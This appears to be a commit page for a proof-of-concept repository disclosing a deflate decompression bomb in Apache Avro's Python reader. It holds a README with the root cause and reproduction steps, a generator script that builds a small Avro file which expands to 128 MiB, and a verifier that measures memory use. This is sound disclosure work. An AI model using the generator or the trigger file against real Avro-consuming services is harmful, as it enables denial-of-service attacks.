Upload 5 files
Browse files- .gitattributes +1 -0
- README.md +71 -0
- avro-deflate-128m.avro +3 -0
- avro-deflate-control.avro +0 -0
- make_avro_deflate_bomb_poc.py +58 -0
- verify_avro_deflate_bomb_poc.py +85 -0
.gitattributes
CHANGED
|
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
|
| 33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
| 34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
| 35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
| 33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
| 34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
| 35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
| 36 |
+
avro-deflate-128m.avro filter=lfs diff=lfs merge=lfs -text
|
README.md
ADDED
|
@@ -0,0 +1,71 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
library_name: avro
|
| 3 |
+
tags:
|
| 4 |
+
- security
|
| 5 |
+
- model-format-vulnerability
|
| 6 |
+
- avro
|
| 7 |
+
- denial-of-service
|
| 8 |
+
---
|
| 9 |
+
|
| 10 |
+
# Apache Avro Python deflate decompression bomb PoC
|
| 11 |
+
|
| 12 |
+
This repository contains a minimal proof of concept for a resource-exhaustion issue in Apache Avro's official Python reader.
|
| 13 |
+
|
| 14 |
+
Affected:
|
| 15 |
+
|
| 16 |
+
- `avro==1.12.1` from PyPI
|
| 17 |
+
- Apache Avro `main` at commit `840dc8139f4b3d1bfa8e8c8f1ac3be949b440634`
|
| 18 |
+
|
| 19 |
+
Root cause:
|
| 20 |
+
|
| 21 |
+
- `avro.datafile.DataFileReader.__next__()` calls `_read_block_header()`.
|
| 22 |
+
- `_read_block_header()` calls `codec.decompress(self.raw_decoder)`.
|
| 23 |
+
- `avro.codecs.DeflateCodec.decompress()` reads the compressed Avro block and calls `zlib.decompress(data, -15)` without any maximum decompressed-size or expansion-ratio limit.
|
| 24 |
+
|
| 25 |
+
The included `avro-deflate-128m.avro` is a valid deflate-coded Avro object container file. It is 130,634 bytes on disk and expands to a 134,217,728-byte `bytes` field during normal `DataFileReader` iteration.
|
| 26 |
+
|
| 27 |
+
## Reproduction
|
| 28 |
+
|
| 29 |
+
```bash
|
| 30 |
+
python3 -m venv .venv
|
| 31 |
+
.venv/bin/pip install avro==1.12.1
|
| 32 |
+
.venv/bin/python verify_avro_deflate_bomb_poc.py \
|
| 33 |
+
avro-deflate-control.avro \
|
| 34 |
+
avro-deflate-128m.avro
|
| 35 |
+
```
|
| 36 |
+
|
| 37 |
+
Expected result on the test host:
|
| 38 |
+
|
| 39 |
+
```text
|
| 40 |
+
control file_size=181 -> loaded, payload_len=1024, maxrss_after_kb around 18,000
|
| 41 |
+
bomb file_size=130634 -> loaded, payload_len=134217728, maxrss_after_kb around 280,000
|
| 42 |
+
```
|
| 43 |
+
|
| 44 |
+
With a 160 MiB address-space cap, the control loads while the bomb fails in the Avro block decompression path:
|
| 45 |
+
|
| 46 |
+
```bash
|
| 47 |
+
.venv/bin/python verify_avro_deflate_bomb_poc.py --limit-mb 160 \
|
| 48 |
+
avro-deflate-control.avro \
|
| 49 |
+
avro-deflate-128m.avro
|
| 50 |
+
```
|
| 51 |
+
|
| 52 |
+
Observed exception:
|
| 53 |
+
|
| 54 |
+
```text
|
| 55 |
+
MemoryError: Unable to allocate output buffer.
|
| 56 |
+
File ".../avro/datafile.py", line 404, in __next__
|
| 57 |
+
File ".../avro/datafile.py", line 386, in _read_block_header
|
| 58 |
+
File ".../avro/codecs.py", line 126, in decompress
|
| 59 |
+
uncompressed = zlib.decompress(data, -15)
|
| 60 |
+
```
|
| 61 |
+
|
| 62 |
+
## Files
|
| 63 |
+
|
| 64 |
+
- `avro-deflate-128m.avro` - 130,634-byte trigger file, SHA256 `a050bf7715a45d46f0abe327b94557e7d5f209cbdb549292de9e3fe5104df8f0`
|
| 65 |
+
- `avro-deflate-control.avro` - 181-byte control file, SHA256 `fd1d3d5cc0722727329d536ee8ab20e4fc3da2629c8921ffde850e96056d7ae9`
|
| 66 |
+
- `make_avro_deflate_bomb_poc.py` - generator
|
| 67 |
+
- `verify_avro_deflate_bomb_poc.py` - verifier
|
| 68 |
+
|
| 69 |
+
## Notes
|
| 70 |
+
|
| 71 |
+
Apache Avro Java recently added decompression-size limits for the same class of codec bomb in AVRO-4247. This PoC demonstrates that the official Python Avro reader still lacks an equivalent limit in the latest PyPI release and in current Apache Avro main.
|
avro-deflate-128m.avro
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:a050bf7715a45d46f0abe327b94557e7d5f209cbdb549292de9e3fe5104df8f0
|
| 3 |
+
size 130634
|
avro-deflate-control.avro
ADDED
|
Binary file (181 Bytes). View file
|
|
|
make_avro_deflate_bomb_poc.py
ADDED
|
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
from __future__ import annotations
|
| 3 |
+
|
| 4 |
+
import argparse
|
| 5 |
+
import hashlib
|
| 6 |
+
from pathlib import Path
|
| 7 |
+
|
| 8 |
+
from avro.datafile import DataFileWriter
|
| 9 |
+
from avro.io import DatumWriter
|
| 10 |
+
from avro.schema import parse
|
| 11 |
+
|
| 12 |
+
|
| 13 |
+
SCHEMA = parse(
|
| 14 |
+
"""
|
| 15 |
+
{
|
| 16 |
+
"type": "record",
|
| 17 |
+
"name": "PayloadRecord",
|
| 18 |
+
"fields": [
|
| 19 |
+
{"name": "payload", "type": "bytes"}
|
| 20 |
+
]
|
| 21 |
+
}
|
| 22 |
+
"""
|
| 23 |
+
)
|
| 24 |
+
|
| 25 |
+
|
| 26 |
+
def build(path: Path, payload_size: int) -> None:
|
| 27 |
+
path.parent.mkdir(parents=True, exist_ok=True)
|
| 28 |
+
payload = b"\x00" * payload_size
|
| 29 |
+
with path.open("wb") as fp:
|
| 30 |
+
writer = DataFileWriter(fp, DatumWriter(), SCHEMA, codec="deflate")
|
| 31 |
+
writer.append({"payload": payload})
|
| 32 |
+
writer.close()
|
| 33 |
+
|
| 34 |
+
|
| 35 |
+
def sha256(path: Path) -> str:
|
| 36 |
+
h = hashlib.sha256()
|
| 37 |
+
with path.open("rb") as fp:
|
| 38 |
+
for chunk in iter(lambda: fp.read(1024 * 1024), b""):
|
| 39 |
+
h.update(chunk)
|
| 40 |
+
return h.hexdigest()
|
| 41 |
+
|
| 42 |
+
|
| 43 |
+
def main() -> None:
|
| 44 |
+
parser = argparse.ArgumentParser()
|
| 45 |
+
parser.add_argument("--out", default="poc/avro-deflate-128m.avro")
|
| 46 |
+
parser.add_argument("--payload-size", type=int, default=128 * 1024 * 1024)
|
| 47 |
+
args = parser.parse_args()
|
| 48 |
+
|
| 49 |
+
out = Path(args.out)
|
| 50 |
+
build(out, args.payload_size)
|
| 51 |
+
print(f"artifact={out}")
|
| 52 |
+
print(f"payload_size={args.payload_size}")
|
| 53 |
+
print(f"file_size={out.stat().st_size}")
|
| 54 |
+
print(f"sha256={sha256(out)}")
|
| 55 |
+
|
| 56 |
+
|
| 57 |
+
if __name__ == "__main__":
|
| 58 |
+
main()
|
verify_avro_deflate_bomb_poc.py
ADDED
|
@@ -0,0 +1,85 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
from __future__ import annotations
|
| 3 |
+
|
| 4 |
+
import argparse
|
| 5 |
+
import json
|
| 6 |
+
import resource
|
| 7 |
+
import subprocess
|
| 8 |
+
import sys
|
| 9 |
+
from pathlib import Path
|
| 10 |
+
|
| 11 |
+
|
| 12 |
+
def run_child(path: Path, limit_mb: int | None) -> dict[str, object]:
|
| 13 |
+
code = r"""
|
| 14 |
+
import json
|
| 15 |
+
import resource
|
| 16 |
+
import sys
|
| 17 |
+
|
| 18 |
+
if LIMIT_MB:
|
| 19 |
+
cap = int(LIMIT_MB) * 1024 * 1024
|
| 20 |
+
resource.setrlimit(resource.RLIMIT_AS, (cap, cap))
|
| 21 |
+
|
| 22 |
+
from avro.datafile import DataFileReader
|
| 23 |
+
from avro.io import DatumReader
|
| 24 |
+
|
| 25 |
+
try:
|
| 26 |
+
with open(PATH, "rb") as fp:
|
| 27 |
+
reader = DataFileReader(fp, DatumReader())
|
| 28 |
+
before = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
|
| 29 |
+
record = next(reader)
|
| 30 |
+
after = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
|
| 31 |
+
payload_len = len(record["payload"])
|
| 32 |
+
reader.close()
|
| 33 |
+
print(json.dumps({
|
| 34 |
+
"status": "loaded",
|
| 35 |
+
"payload_len": payload_len,
|
| 36 |
+
"maxrss_before_kb": before,
|
| 37 |
+
"maxrss_after_kb": after,
|
| 38 |
+
}))
|
| 39 |
+
except BaseException as exc:
|
| 40 |
+
print(json.dumps({
|
| 41 |
+
"status": "exception",
|
| 42 |
+
"type": type(exc).__name__,
|
| 43 |
+
"message": str(exc)[:240],
|
| 44 |
+
"maxrss_kb": resource.getrusage(resource.RUSAGE_SELF).ru_maxrss,
|
| 45 |
+
}))
|
| 46 |
+
raise
|
| 47 |
+
"""
|
| 48 |
+
child_code = code.replace("PATH", repr(str(path))).replace("LIMIT_MB", "0" if limit_mb is None else str(limit_mb))
|
| 49 |
+
proc = subprocess.run(
|
| 50 |
+
[sys.executable, "-c", child_code],
|
| 51 |
+
stdout=subprocess.PIPE,
|
| 52 |
+
stderr=subprocess.PIPE,
|
| 53 |
+
text=True,
|
| 54 |
+
timeout=30,
|
| 55 |
+
)
|
| 56 |
+
parsed = None
|
| 57 |
+
if proc.stdout.strip():
|
| 58 |
+
try:
|
| 59 |
+
parsed = json.loads(proc.stdout.strip().splitlines()[-1])
|
| 60 |
+
except json.JSONDecodeError:
|
| 61 |
+
parsed = None
|
| 62 |
+
return {
|
| 63 |
+
"returncode": proc.returncode,
|
| 64 |
+
"stdout": proc.stdout,
|
| 65 |
+
"stderr_tail": proc.stderr[-1200:],
|
| 66 |
+
"parsed": parsed,
|
| 67 |
+
}
|
| 68 |
+
|
| 69 |
+
|
| 70 |
+
def main() -> None:
|
| 71 |
+
parser = argparse.ArgumentParser()
|
| 72 |
+
parser.add_argument("paths", nargs="+")
|
| 73 |
+
parser.add_argument("--limit-mb", type=int)
|
| 74 |
+
args = parser.parse_args()
|
| 75 |
+
|
| 76 |
+
for p in args.paths:
|
| 77 |
+
path = Path(p)
|
| 78 |
+
result = run_child(path, args.limit_mb)
|
| 79 |
+
print(f"== {path} ==")
|
| 80 |
+
print(f"file_size={path.stat().st_size}")
|
| 81 |
+
print(json.dumps(result, indent=2, sort_keys=True))
|
| 82 |
+
|
| 83 |
+
|
| 84 |
+
if __name__ == "__main__":
|
| 85 |
+
main()
|